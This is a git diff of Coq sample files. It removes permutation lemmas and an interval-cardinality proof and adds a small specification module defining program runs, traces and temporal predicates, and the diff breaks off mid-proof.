- Permutation l l' -> Permutation (l++tl) (l'++tl).
-Proof.
-  intros l l' tl Hperm; induction Hperm as [|x l l'|x y l|l l' l'']; simpl; auto.
-  eapply Permutation_trans with (l':=l'++tl); trivial.
-Qed.
-
-Lemma Permutation_app_head : forall (l tl tl' : list A),
- Permutation tl tl' -> Permutation (l++tl) (l++tl').
-Proof.
-  intros l tl tl' Hperm; induction l;
-   [trivial | repeat rewrite <- app_comm_cons; constructor; assumption].
-Qed.
-
-Theorem Permutation_app : forall (l m l' m' : list A),
- Permutation l l' -> Permutation m m' -> Permutation (l++m) (l'++m').
-Proof.
-  intros l m l' m' Hpermll' Hpermmm';
-   induction Hpermll' as [|x l l'|x y l|l l' l''];
-    repeat rewrite <- app_comm_cons; auto.
-  apply Permutation_trans with (l' := (x :: y :: l ++ m));
-   [idtac | repeat rewrite app_comm_cons; apply Permutation_app_head]; trivial.
-  apply Permutation_trans with (l' := (l' ++ m')); try assumption.
-  apply Permutation_app_tail; assumption.
-Qed.
-
-Global Instance Permutation_app' :
- Proper (@Permutation A ==> @Permutation A ==> @Permutation A) (@app A) | 10.
-Proof.
-  repeat intro; now apply Permutation_app.
-Qed.
-
-Lemma Permutation_add_inside : forall a (l l' tl tl' : list A),
-  Permutation l l' -> Permutation tl tl' ->
-  Permutation (l ++ a :: tl) (l' ++ a :: tl').
-Proof.
-  intros; apply Permutation_app; auto.
-Qed.
-
-Lemma Permutation_cons_append : forall (l : list A) x,
-  Permutation (x :: l) (l ++ x :: nil).
-Proof. induction l; intros; auto. simpl. rewrite <- IHl; auto. Qed.
-Local Hint Resolve Permutation_cons_append.
-
-Theorem Permutation_app_comm : forall (l l' : list A),
-  Permutation (l ++ l') (l' ++ l).
-Proof.
-  induction l as [|x l]; simpl; intro l'.
-  rewrite app_nil_r; trivial. rewrite IHl.
-  rewrite app_comm_cons, Permutation_cons_append.
-  now rewrite <- app_assoc.
-Qed.
-Local Hint Resolve Permutation_app_comm.
-
-Theorem Permutation_cons_app : forall (l l1 l2:list A) a,
-  Permutation l (l1 ++ l2) -> Permutation (a :: l) (l1 ++ a :: l2).
-Proof.
-  intros l l1 l2 a H. rewrite H.
-  rewrite app_comm_cons, Permutation_cons_append.
-  now rewrite <- app_assoc.
-Qed.
-Local Hint Resolve Permutation_cons_app.
-
-Theorem Permutation_middle : forall (l1 l2:list A) a,
-  Permutation (a :: l1 ++ l2) (l1 ++ a :: l2).
-Proof.
-  auto.
-Qed.
-Local Hint Resolve Permutation_middle.
-
-Theorem Permutation_rev : forall (l : list A), Permutation l (rev l).
-Proof.
-  induction l as [| x l]; simpl; trivial. now rewrite IHl at 1.
-Qed.
-
-Global Instance Permutation_rev' :
- Proper (@Permutation A ==> @Permutation A) (@rev A) | 10.
-Proof.
-  repeat intro; now rewrite <- 2 Permutation_rev.
-Qed.
-
-Theorem Permutation_length : forall (l l' : list A),
- Permutation l l' -> length l = length l'.
-Proof.
-  intros l l' Hperm; induction Hperm; simpl; auto. now transitivity (length l').
-Qed.
-
-Global Instance Permutation_length' :
- Proper (@Permutation A ==> Logic.eq) (@length A) | 10.
-Proof.
-  exact Permutation_length.
-Qed.
-
-Theorem Permutation_ind_bis :
- forall P : list A -> list A -> Prop,
-   P [] [] ->
-   (forall x l l', Permutation l l' -> P l l' -> P (x :: l) (x :: l')) ->
-   (forall x y l l', Permutation l l' -> P l l' -> P (y :: x :: l) (x :: y :: l')) ->
-   (forall l l' l'', Permutation l l' -> P l l' -> Permutation l' l'' -> P l' l'' -> P l l'') ->
-   forall l l', Permutation l l' -> P l l'.
-Proof.
-  intros P Hnil Hskip Hswap Htrans.
-  induction 1; auto.
-  apply Htrans with (x::y::l); auto.
-  apply Hswap; auto.
-  induction l; auto.
-  apply Hskip; auto.
-  apply Hskip; auto.
-  induction l; auto.
-  eauto.
-Qed.
-
-Ltac break_list l x l' H :=
-  destruct l as [|x l']; simpl in *;
-  injection H; intros; subst; clear H.
-
-Theorem Permutation_nil_app_cons : forall (l l' : list A) (x : A),
- ~ Permutation nil (l++x::l').
-Proof.
-  intros l l' x HF.
-  apply Permutation_nil in HF. destruct l; discriminate.
-Qed.
-
-Theorem Permutation_app_inv : forall (l1 l2 l3 l4:list A) a,
-  Permutation (l1++a::l2) (l3++a::l4) -> Permutation (l1++l2) (l3 ++ l4).
-Proof.
-  intros l1 l2 l3 l4 a; revert l1 l2 l3 l4.
-  set (P l l' :=
-       forall l1 l2 l3 l4, l=l1++a::l2 -> l'=l3++a::l4 ->
-       Permutation (l1++l2) (l3++l4)).
-  cut (forall l l', Permutation l l' -> P l l').
-  intros H; intros; eapply H; eauto.
-  apply (Permutation_ind_bis P); unfold P; clear P.
-  - (* nil *)
-    intros; now destruct l1.
-  - (* skip *)
-    intros x l l' H IH; intros.
-    break_list l1 b l1' H0; break_list l3 c l3' H1.
-    auto.
-    now rewrite H.
-    now rewrite <- H.
-    now rewrite (IH _ _ _ _ eq_refl eq_refl).
-  - (* swap *)
-    intros x y l l' Hp IH; intros.
-    break_list l1 b l1' H; break_list l3 c l3' H0.
-    auto.
-    break_list l3' b l3'' H.
-    auto.
-    constructor. now rewrite Permutation_middle.
-    break_list l1' c l1'' H1.
-    auto.
-    constructor. now rewrite Permutation_middle.
-    break_list l3' d l3'' H; break_list l1' e l1'' H1.
-    auto.
-    rewrite perm_swap. constructor. now rewrite Permutation_middle.
-    rewrite perm_swap. constructor. now rewrite Permutation_middle.
-    now rewrite perm_swap, (IH _ _ _ _ eq_refl eq_refl).
-  - (*trans*)
-    intros.
-    destruct (In_split a l') as (l'1,(l'2,H6)).
-    rewrite <- H.
-    subst l.
-    apply in_or_app; right; red; auto.
-    apply perm_trans with (l'1++l'2).
-    apply (H0 _ _ _ _ H3 H6).
-    apply (H2 _ _ _ _ H6 H4).
-Qed.
-
-Theorem Permutation_cons_inv l l' a :
- Permutation (a::l) (a::l') -> Permutation l l'.
-Proof.
-  intro H; exact (Permutation_app_inv [] l [] l' a H).
-Qed.
-
-Theorem Permutation_cons_app_inv l l1 l2 a :
- Permutation (a :: l) (l1 ++ a :: l2) -> Permutation l (l1 ++ l2).
-Proof.
-  intro H; exact (Permutation_app_inv [] l l1 l2 a H).
-Qed.
-
-Theorem Permutation_app_inv_l : forall l l1 l2,
- Permutation (l ++ l1) (l ++ l2) -> Permutation l1 l2.
-Proof.
-  induction l; simpl; auto.
-  intros.
-  apply IHl.
-  apply Permutation_cons_inv with a; auto.
-Qed.
-
-Theorem Permutation_app_inv_r : forall l l1 l2,
- Permutation (l1 ++ l) (l2 ++ l) -> Permutation l1 l2.
-Proof.
-  induction l.
-  intros l1 l2; do 2 rewrite app_nil_r; auto.
-  intros.
-  apply IHl.
-  apply Permutation_app_inv with a; auto.
-Qed.
-
-Lemma Permutation_length_1_inv: forall a l, Permutation [a] l -> l = [a].
-Proof.
-  intros a l H; remember [a] as m in H.
-  induction H; try (injection Heqm as -> ->; clear Heqm);
-    discriminate || auto.
-  apply Permutation_nil in H as ->; trivial.
-Qed.
-
-Lemma Permutation_length_1: forall a b, Permutation [a] [b] -> a = b.
-Proof.
-  intros a b H.
-  apply Permutation_length_1_inv in H; injection H as ->; trivial.
-Qed.
-
-Lemma Permutation_length_2_inv :
-  forall a1 a2 l, Permutation [a1;a2] l -> l = [a1;a2] \/ l = [a2;a1].
-Proof.
-  intros a1 a2 l H; remember [a1;a2] as m in H.
-  revert a1 a2 Heqm.
-  induction H; intros; try (injection Heqm; intros; subst; clear Heqm);
-    discriminate || (try tauto).
-  apply Permutation_length_1_inv in H as ->; left; auto.
-  apply IHPermutation1 in Heqm as [H1|H1]; apply IHPermutation2 in H1 as ();
-    auto.
-Qed.
-
-Lemma Permutation_length_2 :
-  forall a1 a2 b1 b2, Permutation [a1;a2] [b1;b2] ->
-    a1 = b1 /\ a2 = b2 \/ a1 = b2 /\ a2 = b1.
-Proof.
-  intros a1 b1 a2 b2 H.
-  apply Permutation_length_2_inv in H as [H|H]; injection H as -> ->; auto.
-Qed.
-
-Let in_middle l l1 l2 (a:A) : l = l1 ++ a :: l2 ->
- forall x, In x l <-> a = x \/ In x (l1++l2).
-Proof.
- intros; subst; rewrite !in_app_iff; simpl. tauto.
-Qed.
-
-Lemma NoDup_cardinal_incl (l l' : list A) : NoDup l -> NoDup l' ->
-  length l = length l' -> incl l l' -> incl l' l.
-Proof.
- intros N. revert l'. induction N as [|a l Hal Hl IH].
- - destruct l'; now auto.
- - intros l' Hl' E H x Hx.
-   assert (Ha : In a l') by (apply H; simpl; auto).
-   destruct (in_split _ _ Ha) as (l1 & l2 & H12). clear Ha.
-   rewrite in_middle in Hx; eauto.
-   destruct Hx as [Hx|Hx]; [left|right]; auto.
-   apply (IH (l1++l2)); auto.
-   * apply NoDup_remove_1 with a; rewrite <- H12; auto.
-   * apply eq_add_S.
-     simpl in E; rewrite E, H12, !app_length; simpl; auto with arith.
-   * intros y Hy. assert (Hy' : In y l') by (apply H; simpl; auto).
-     rewrite in_middle in Hy'; eauto.
-     destruct Hy'; auto. subst y; intuition.
-Qed.
-
-Lemma NoDup_Permutation l l' : NoDup l -> NoDup l' ->
-  (forall x:A, In x l <-> In x l') -> Permutation l l'.
-Proof.
- intros N. revert l'. induction N as [|a l Hal Hl IH].
- - destruct l'; simpl; auto.
-   intros Hl' H. exfalso. rewrite (H a); auto.
- - intros l' Hl' H.
-   assert (Ha : In a l') by (apply H; simpl; auto).
-   destruct (In_split _ _ Ha) as (l1 & l2 & H12).
-   rewrite H12.
-   apply Permutation_cons_app.
-   apply IH; auto.
-   * apply NoDup_remove_1 with a; rewrite <- H12; auto.
-   * intro x. split; intros Hx.
-     + assert (Hx' : In x l') by (apply H; simpl; auto).
-       rewrite in_middle in Hx'; eauto.
-       destruct Hx'; auto. subst; intuition.
-     + assert (Hx' : In x l') by (rewrite (in_middle l1 l2 a); eauto).
-       rewrite <- H in Hx'. destruct Hx'; auto.
-       subst. destruct (NoDup_remove_2 _ _ _ Hl' Hx).
-Qed.
-
-Lemma NoDup_Permutation_bis l l' : NoDup l -> NoDup l' ->
-  length l = length l' -> incl l l' -> Permutation l l'.
-Proof.
- intros. apply NoDup_Permutation; auto.
- split; auto. apply NoDup_cardinal_incl; auto.
-Qed.
-
-Lemma Permutation_NoDup l l' : Permutation l l' -> NoDup l -> NoDup l'.
-Proof.
- induction 1; auto.
- * inversion_clear 1; constructor; eauto using Permutation_in.
- * inversion_clear 1 as [|? ? H1 H2]. inversion_clear H2; simpl in *.
-   constructor. simpl; intuition. constructor; intuition.
-Qed.
-
-Global Instance Permutation_NoDup' :
- Proper (@Permutation A ==> iff) (@NoDup A) | 10.
-Proof.
-  repeat red; eauto using Permutation_NoDup.
-Qed.
-
-End Permutation_properties.
-
-Section Permutation_map.
-
-Variable A B : Type.
-Variable f : A -> B.
-
-Lemma Permutation_map l l' :
-  Permutation l l' -> Permutation (map f l) (map f l').
-Proof.
- induction 1; simpl; eauto.
-Qed.
-
-Global Instance Permutation_map' :
-  Proper (@Permutation A ==> @Permutation B) (map f) | 10.
-Proof.
-  exact Permutation_map.
-Qed.
-
-End Permutation_map.
-
-Section Injection.
-
-Definition injective {A B} (f : A->B) :=
- forall x y, f x = f y -> x = y.
-
-Lemma injective_map_NoDup {A B} (f:A->B) (l:list A) :
- injective f -> NoDup l -> NoDup (map f l).
-Proof.
- intros Hf. induction 1 as [|x l Hx Hl IH]; simpl; constructor; trivial.
- rewrite in_map_iff. intros (y & Hy & Hy'). apply Hf in Hy. now subst.
-Qed.
-
-Lemma injective_bounded_surjective n f :
- injective f ->
- (forall x, x < n -> f x < n) ->
- (forall y, y < n -> exists x, x < n /\ f x = y).
-Proof.
- intros Hf H.
- set (l := seq 0 n).
- assert (P : incl (map f l) l).
- { intros x. rewrite in_map_iff. intros (y & <- & Hy').
-   unfold l in *. rewrite in_seq in *. simpl in *.
-   destruct Hy' as (_,Hy'). auto with arith. }
- assert (P' : incl l (map f l)).
- { unfold l.
-   apply NoDup_cardinal_incl; auto using injective_map_NoDup, seq_NoDup.
-   now rewrite map_length. }
- intros x Hx.
- assert (Hx' : In x l) by (unfold l; rewrite in_seq; auto with arith).
- apply P' in Hx'.
- rewrite in_map_iff in Hx'. destruct Hx' as (y & Hy & Hy').
- exists y; split; auto. unfold l in *; rewrite in_seq in Hy'.
- destruct Hy'; auto with arith.
-Qed.
-
-Lemma nat_bijection_Permutation n f :
- injective f -> (forall x, x < n -> f x < n) ->
- let l := seq 0 n in Permutation (map f l) l.
-Proof.
- intros Hf BD.
- apply NoDup_Permutation_bis; auto using injective_map_NoDup, seq_NoDup.
- * now rewrite map_length.
- * intros x. rewrite in_map_iff. intros (y & <- & Hy').
-   rewrite in_seq in *. simpl in *.
-   destruct Hy' as (_,Hy'). auto with arith.
-Qed.
-
-End Injection.
-
-Section Permutation_alt.
-Variable A:Type.
-Implicit Type a : A.
-Implicit Type l : list A.
-
-(** Alternative characterization of permutation
-    via [nth_error] and [nth] *)
-
-Let adapt f n :=
- let m := f (S n) in if le_lt_dec m (f 0) then m else pred m.
-
-Let adapt_injective f : injective f -> injective (adapt f).
-Proof.
- unfold adapt. intros Hf x y EQ.
- destruct le_lt_dec as [LE|LT]; destruct le_lt_dec as [LE'|LT'].
- - now apply eq_add_S, Hf.
- - apply Lt.le_lt_or_eq in LE.
-   destruct LE as [LT|EQ']; [|now apply Hf in EQ'].
-   unfold lt in LT. rewrite EQ in LT.
-   rewrite <- (Lt.S_pred _ _ LT') in LT.
-   elim (Lt.lt_not_le _ _ LT' LT).
- - apply Lt.le_lt_or_eq in LE'.
-   destruct LE' as [LT'|EQ']; [|now apply Hf in EQ'].
-   unfold lt in LT'. rewrite <- EQ in LT'.
-   rewrite <- (Lt.S_pred _ _ LT) in LT'.
-   elim (Lt.lt_not_le _ _ LT LT').
- - apply eq_add_S, Hf.
-   now rewrite (Lt.S_pred _ _ LT), (Lt.S_pred _ _ LT'), EQ.
-Qed.
-
-Let adapt_ok a l1 l2 f : injective f -> length l1 = f 0 ->
- forall n, nth_error (l1++a::l2) (f (S n)) = nth_error (l1++l2) (adapt f n).
-Proof.
- unfold adapt. intros Hf E n.
- destruct le_lt_dec as [LE|LT].
- - apply Lt.le_lt_or_eq in LE.
-   destruct LE as [LT|EQ]; [|now apply Hf in EQ].
-   rewrite <- E in LT.
-   rewrite 2 nth_error_app1; auto.
- - rewrite (Lt.S_pred _ _ LT) at 1.
-   rewrite <- E, (Lt.S_pred _ _ LT) in LT.
-   rewrite 2 nth_error_app2; auto with arith.
-   rewrite <- Minus.minus_Sn_m; auto with arith.
-Qed.
-
-Lemma Permutation_nth_error l l' :
- Permutation l l' <->
-  (length l = length l' /\
-   exists f:nat->nat,
-    injective f /\ forall n, nth_error l' n = nth_error l (f n)).
-Proof.
- split.
- { intros P.
-   split; [now apply Permutation_length|].
-   induction P.
-   - exists (fun n => n).
-     split; try red; auto.
-   - destruct IHP as (f & Hf & Hf').
-     exists (fun n => match n with O => O | S n => S (f n) end).
-     split; try red.
-     * intros [|y] [|z]; simpl; now auto.
-     * intros [|n]; simpl; auto.
-   - exists (fun n => match n with 0 => 1 | 1 => 0 | n => n end).
-     split; try red.
-     * intros [|[|z]] [|[|t]]; simpl; now auto.
-     * intros [|[|n]]; simpl; auto.
-   - destruct IHP1 as (f & Hf & Hf').
-     destruct IHP2 as (g & Hg & Hg').
-     exists (fun n => f (g n)).
-     split; try red.
-     * auto.
-     * intros n. rewrite <- Hf'; auto. }
- { revert l. induction l'.
-   - intros [|l] (E & _); now auto.
-   - intros l (E & f & Hf & Hf').
-     simpl in E.
-     assert (Ha : nth_error l (f 0) = Some a)
-      by (symmetry; apply (Hf' 0)).
-     destruct (nth_error_split l (f 0) Ha) as (l1 & l2 & L12 & L1).
-     rewrite L12. rewrite <- Permutation_middle. constructor.
-     apply IHl'; split; [|exists (adapt f); split].
-     * revert E. rewrite L12, !app_length. simpl.
-       rewrite <- plus_n_Sm. now injection 1.
-     * now apply adapt_injective.
-     * intro n. rewrite <- (adapt_ok a), <- L12; auto.
-       apply (Hf' (S n)). }
-Qed.
-
-Lemma Permutation_nth_error_bis l l' :
- Permutation l l' <->
-  exists f:nat->nat,
-    injective f /\
-    (forall n, n < length l -> f n < length l) /\
-    (forall n, nth_error l' n = nth_error l (f n)).
-Proof.
- rewrite Permutation_nth_error; split.
- - intros (E & f & Hf & Hf').
-   exists f. do 2 (split; trivial).
-   intros n Hn.
-   destruct (Lt.le_or_lt (length l) (f n)) as [LE|LT]; trivial.
-   rewrite <- nth_error_None, <- Hf', nth_error_None, <- E in LE.
-   elim (Lt.lt_not_le _ _ Hn LE).
- - intros (f & Hf & Hf2 & Hf3); split; [|exists f; auto].
-   assert (H : length l' <= length l') by auto with arith.
-   rewrite <- nth_error_None, Hf3, nth_error_None in H.
-   destruct (Lt.le_or_lt (length l) (length l')) as [LE|LT];
-    [|apply Hf2 in LT; elim (Lt.lt_not_le _ _ LT H)].
-   apply Lt.le_lt_or_eq in LE. destruct LE as [LT|EQ]; trivial.
-   rewrite <- nth_error_Some, Hf3, nth_error_Some in LT.
-   destruct (injective_bounded_surjective Hf Hf2 LT) as (y & Hy & Hy').
-   apply Hf in Hy'. subst y. elim (Lt.lt_irrefl _ Hy).
-Qed.
-
-Lemma Permutation_nth l l' d :
- Permutation l l' <->
-  (let n := length l in
-   length l' = n /\
-   exists f:nat->nat,
-    (forall x, x < n -> f x < n) /\
-    (forall x y, x < n -> y < n -> f x = f y -> x = y) /\
-    (forall x, x < n -> nth x l' d = nth (f x) l d)).
-Proof.
- split.
- - intros H.
-   assert (E := Permutation_length H).
-   split; auto.
-   apply Permutation_nth_error_bis in H.
-   destruct H as (f & Hf & Hf2 & Hf3).
-   exists f. split; [|split]; auto.
-   intros n Hn. rewrite <- 2 nth_default_eq. unfold nth_default.
-    now rewrite Hf3.
- - intros (E & f & Hf1 & Hf2 & Hf3).
-   rewrite Permutation_nth_error.
-   split; auto.
-   exists (fun n => if le_lt_dec (length l) n then n else f n).
-   split.
-   * intros x y.
-     destruct le_lt_dec as [LE|LT];
-      destruct le_lt_dec as [LE'|LT']; auto.
-     + apply Hf1 in LT'. intros ->.
-       elim (Lt.lt_irrefl (f y)). eapply Lt.lt_le_trans; eauto.
-     + apply Hf1 in LT. intros <-.
-       elim (Lt.lt_irrefl (f x)). eapply Lt.lt_le_trans; eauto.
-   * intros n.
-     destruct le_lt_dec as [LE|LT].
-     + assert (LE' : length l' <= n) by (now rewrite E).
-       rewrite <- nth_error_None in LE, LE'. congruence.
-     + assert (LT' : n < length l') by (now rewrite E).
-       specialize (Hf3 n LT). rewrite <- 2 nth_default_eq in Hf3.
-       unfold nth_default in Hf3.
-       apply Hf1 in LT.
-       rewrite <- nth_error_Some in LT, LT'.
-       do 2 destruct nth_error; congruence.
-Qed.
-
-End Permutation_alt.
-
-(* begin hide *)
-Notation Permutation_app_swap := Permutation_app_comm (only parsing).
-(* end hide *)
diff --git a/samples/Coq/Sorting.v b/samples/Coq/Sorting.v
deleted file mode 100755
index edb10c635c..0000000000
--- a/samples/Coq/Sorting.v
+++ /dev/null
@@ -1,2 +0,0 @@
-Require Export Sorted.
-Require Export Mergesort.
diff --git a/samples/Coq/Spec.v b/samples/Coq/Spec.v
new file mode 100644
index 0000000000..3013e00c48
--- /dev/null
+++ b/samples/Coq/Spec.v
@@ -0,0 +1,62 @@
+(** Specifications. *)
+Require Import Coq.Lists.List.
+Require Import Coq.Strings.Ascii.
+Require Import FunctionNinjas.All.
+Require Import ListString.All.
+Require Import Computation.
+
+Import ListNotations.
+Local Open Scope char.
+
+(** A run is an execution of the program with explicit answers for the
+    system calls. *)
+Module Run.
+  (** We define a run by induction on the structure of a computation. *)
+  Inductive t : C.t -> Type :=
+  | Ret : t C.Ret
+  | Call : forall (command : Command.t) (answer : Command.answer command)
+    {handler : Command.answer command -> C.t}, t (handler answer) ->
+    t (C.Call command handler).
+
+  (** The trace of a run. *)
+  Fixpoint trace {x : C.t} (run : t x)
+    : list {command : Command.t & Command.answer command} :=
+    match run with
+    | Ret => []
+    | Call command answer _ run => existT _ command answer :: trace run
+    end.
+End Run.
+
+Module Temporal.
+  Module All.
+    Inductive t (P : Command.t -> Prop) : C.t -> Prop :=
+    | Ret : t P C.Ret
+    | Call : forall (c : Command.t) (h : Command.answer c -> C.t),
+      P c -> (forall a, t P (h a)) ->
+      t P (C.Call c h).
+  End All.
+
+  Module One.
+    Inductive t (P : Command.t -> Prop) : C.t -> Prop :=
+    | CallThis : forall (c : Command.t) (h : Command.answer c -> C.t),
+      P c ->
+      t P (C.Call c h)
+    | CallOther : forall (c : Command.t) (h : Command.answer c -> C.t),
+      (forall a, t P (h a)) ->
+      t P (C.Call c h).
+  End One.
+
+  Module Then.
+    Inductive t (P1 P2 : Command.t -> Prop) : C.t -> Prop :=
+    | Ret : t P1 P2 C.Ret
+    | Call : forall (c : Command.t) (h : Command.answer c -> C.t),
+      (forall a, t P1 P2 (h a)) ->
+      t P1 P2 (C.Call c h)
+    | CallThen : forall (c : Command.t) (h : Command.answer c -> C.t),
+      P1 c -> (forall a, One.t P2 (h a)) ->
+      t P1 P2 (C.Call c h).
+  End Then.
+End Temporal.
+
+Module CardBeforeMoney.
+End CardBeforeMoney.
diff --git a/samples/Coq/interval_discr.v b/samples/Coq/interval_discr.v
deleted file mode 100644
index ed2c0e37ee..0000000000
--- a/samples/Coq/interval_discr.v
+++ /dev/null
@@ -1,419 +0,0 @@
-(** Sketch of the proof of {p:nat|p<=n} = {p:nat|p<=m} -> n=m
-
-  - preliminary results on the irrelevance of boundedness proofs
-  - introduce the notion of finite cardinal |A|
-  - prove that |{p:nat|p<=n}| = n
-  - prove that |A| = n /\ |A| = m -> n = m if equality is decidable on A
-  - prove that equality is decidable on A
-  - conclude
-*)
-
-(** * Preliminary results on [nat] and [le] *)
-
-(** Proving axiom K on [nat] *)
-
-Require Import Eqdep_dec.
-Require Import Arith.
-
-Theorem eq_rect_eq_nat :
-  forall (p:nat) (Q:nat->Type) (x:Q p) (h:p=p), x = eq_rect p Q x p h.
-Proof.
-intros.
-apply K_dec_set with (p := h).
-apply eq_nat_dec.
-reflexivity.
-Qed.
-
-(** Proving unicity of proofs of [(n<=m)%nat] *)
-
-Scheme le_ind' := Induction for le Sort Prop.
-
-Theorem le_uniqueness_proof : forall (n m : nat) (p q : n <= m), p = q.
-Proof.
-induction p using le_ind'; intro q.
- replace (le_n n) with
-  (eq_rect _ (fun n0 => n <= n0) (le_n n) _ (refl_equal n)).
- 2:reflexivity.
-  generalize (refl_equal n).
-    pattern n at 2 4 6 10, q; case q; [intro | intros m l e].
-     rewrite <- eq_rect_eq_nat; trivial.
-     contradiction (le_Sn_n m); rewrite <- e; assumption.
- replace (le_S n m p) with
-  (eq_rect _ (fun n0 => n <= n0) (le_S n m p) _ (refl_equal (S m))).
- 2:reflexivity.
-  generalize (refl_equal (S m)).
-    pattern (S m) at 1 3 4 6, q; case q; [intro Heq | intros m0 l HeqS].
-     contradiction (le_Sn_n m); rewrite Heq; assumption.
-     injection HeqS; intro Heq; generalize l HeqS.
-      rewrite <- Heq; intros; rewrite <- eq_rect_eq_nat.
-      rewrite (IHp l0); reflexivity.
-Qed.
-
-(** Proving irrelevance of boundedness proofs while building
-    elements of interval *)
-
-Lemma dep_pair_intro :
-  forall (n x y:nat) (Hx : x<=n) (Hy : y<=n), x=y ->
-    exist (fun x => x <= n) x Hx = exist (fun x => x <= n) y Hy.
-Proof.
-intros n x y Hx Hy Heq.
-generalize Hy.
-rewrite <- Heq.
-intros.
-rewrite (le_uniqueness_proof x n Hx Hy0).
-reflexivity.
-Qed.
-
-(** * Proving that {p:nat|p<=n} = {p:nat|p<=m} -> n=m *)
-
-(** Definition of having finite cardinality [n+1] for a set [A] *)
-
-Definition card (A:Set) n :=
-  exists f,
-    (forall x:A, f x <= n) /\
-    (forall x y:A, f x = f y -> x = y) /\
-    (forall m, m <= n -> exists x:A, f x = m).
-
-Require Import Arith.
-
-(** Showing that the interval [0;n] has cardinality [n+1] *)
-
-Theorem card_interval : forall n, card {x:nat|x<=n} n.
-Proof.
-intro n.
-exists (fun x:{x:nat|x<=n} => proj1_sig x).
-split.
-(* bounded *)
-intro x; apply (proj2_sig x).
-split.
-(* injectivity *)
-intros (p,Hp) (q,Hq).
-simpl.
-intro Hpq.
-apply dep_pair_intro; assumption.
-(* surjectivity *)
-intros m Hmn.
-exists (exist (fun x : nat => x <= n) m Hmn).
-reflexivity.
-Qed.
-
-(** Showing that equality on the interval [0;n] is decidable *)
-
-Lemma interval_dec :
-  forall n (x y : {m:nat|m<=n}), {x=y}+{x<>y}.
-Proof.
-intros n (p,Hp).
-induction p; intros ([|q],Hq).
-left.
-  apply dep_pair_intro.
-  reflexivity.
-right.
-  intro H; discriminate H.
-right.
-  intro H; discriminate H.
-assert (Hp' : p <= n).
-  apply le_Sn_le; assumption.
-assert (Hq' : q <= n).
-  apply le_Sn_le; assumption.
-destruct (IHp Hp' (exist (fun m => m <= n) q Hq'))
-  as [Heq|Hneq].
-left.
-  injection Heq; intro Heq'.
-  apply dep_pair_intro.
-  apply eq_S.
-  assumption.
-right.
-  intro HeqS.
-  injection HeqS; intro Heq.
-  apply Hneq.
-  apply dep_pair_intro.
-  assumption.
-Qed.
-
-(** Showing that the cardinality relation is functional on decidable sets *)
-
-Lemma card_inj_aux :
-  forall (A:Type) f g n,
-    (forall x:A, f x <= 0) ->
-    (forall x y:A, f x = f y -> x = y) ->
-    (forall m, m <= S n -> exists x:A, g x = m)
-     -> False.
-Proof.
-intros A f g n Hfbound Hfinj Hgsurj.
-destruct (Hgsurj (S n) (le_n _)) as (x,Hx).
-destruct (Hgsurj n (le_S _ _ (le_n _))) as (x',Hx').
-assert (Hfx : 0 = f x).
-apply le_n_O_eq.
-apply Hfbound.
-assert (Hfx' : 0 = f x').
-apply le_n_O_eq.
-apply Hfbound.
-assert (x=x').
-apply Hfinj.
-rewrite <- Hfx.
-rewrite <- Hfx'.
-reflexivity.
-rewrite H in Hx.
-rewrite Hx' in Hx.
-apply (n_Sn _ Hx).
-Qed.
-
-(** For [dec_restrict], we use a lemma on the negation of equality
-that requires proof-irrelevance. It should be possible to avoid this
-lemma by generalizing over a first-order definition of [x<>y], say
-[neq] such that [{x=y}+{neq x y}] and [~(x=y /\ neq x y)]; for such
-[neq], unicity of proofs could be proven *)
-
-  Require Import Classical.
-  Lemma neq_dep_intro :
-   forall (A:Set) (z x y:A) (p:x<>z) (q:y<>z), x=y ->
-      exist (fun x => x <> z) x p = exist (fun x => x <> z) y q.
-  Proof.
-  intros A z x y p q Heq.
-   generalize q; clear q; rewrite <- Heq; intro q.
-   rewrite (proof_irrelevance _ p q); reflexivity.
-  Qed.
-
-Lemma dec_restrict :
-  forall (A:Set),
-    (forall x y :A, {x=y}+{x<>y}) ->
-     forall z (x y :{a:A|a<>z}), {x=y}+{x<>y}.
-Proof.
-intros A Hdec z (x,Hx) (y,Hy).
-destruct (Hdec x y) as [Heq|Hneq].
-left; apply neq_dep_intro; assumption.
-right; intro Heq; injection Heq; exact Hneq.
-Qed.
-
-Lemma pred_inj : forall n m,
-  0 <> n -> 0 <> m -> pred m = pred n -> m = n.
-Proof.
-destruct n.
-intros m H; destruct H; reflexivity.
-destruct m.
-intros _ H; destruct H; reflexivity.
-simpl; intros _ _ H.
-rewrite H.
-reflexivity.
-Qed.
-
-Lemma le_neq_lt : forall n m, n <= m -> n<>m -> n < m.
-Proof.
-intros n m Hle Hneq.
-destruct (le_lt_eq_dec n m Hle).
-assumption.
-contradiction.
-Qed.
-
-Lemma inj_restrict :
-  forall (A:Set) (f:A->nat) x y z,
-    (forall x y : A, f x = f y -> x = y)
-    -> x <> z -> f y < f z -> f z <= f x
-    -> pred (f x) = f y
-    -> False.
-
-(* Search error sans le type de f !! *)
-Proof.
-intros A f x y z Hfinj Hneqx Hfy Hfx Heq.
-assert (f z <> f x).
-  apply sym_not_eq.
-  intro Heqf.
-  apply Hneqx.
-  apply Hfinj.
-  assumption.
-assert (f x = S (f y)).
-  assert (0 < f x).
-    apply le_lt_trans with (f z).
-    apply le_O_n.
-    apply le_neq_lt; assumption.
-  apply pred_inj.
-  apply O_S.
-  apply lt_O_neq; assumption.
-  exact Heq.
-assert (f z <= f y).
-destruct (le_lt_or_eq _ _ Hfx).
-  apply lt_n_Sm_le.
-  rewrite <- H0.
-  assumption.
-  contradiction Hneqx.
-  symmetry.
-  apply Hfinj.
-  assumption.
-contradiction (lt_not_le (f y) (f z)).
-Qed.
-
-Theorem card_inj : forall m n (A:Set),
-  (forall x y :A, {x=y}+{x<>y}) ->
-  card A m -> card A n -> m = n.
-Proof.
-induction m; destruct n;
-intros A Hdec
- (f,(Hfbound,(Hfinj,Hfsurj)))
- (g,(Hgbound,(Hginj,Hgsurj))).
-(* 0/0 *)
-reflexivity.
-(* 0/Sm *)
-destruct (card_inj_aux _ _ _ _ Hfbound Hfinj Hgsurj).
-(* Sn/0 *)
-destruct (card_inj_aux _ _ _ _ Hgbound Hginj Hfsurj).
-(* Sn/Sm *)
-destruct (Hgsurj (S n) (le_n _)) as (xSn,HSnx).
-rewrite IHm with (n:=n) (A := {x:A|x<>xSn}).
-reflexivity.
-(* decidability of eq on {x:A|x<>xSm} *)
-apply dec_restrict.
-assumption.
-(* cardinality of {x:A|x<>xSn} is m *)
-pose (f' := fun x' : {x:A|x<>xSn} =>
-    let (x,Hneq) := x' in
-    if le_lt_dec (f xSn) (f x)
-    then pred (f x)
-    else f x).
-exists f'.
-split.
-(* f' is bounded *)
-unfold f'.
-intros (x,_).
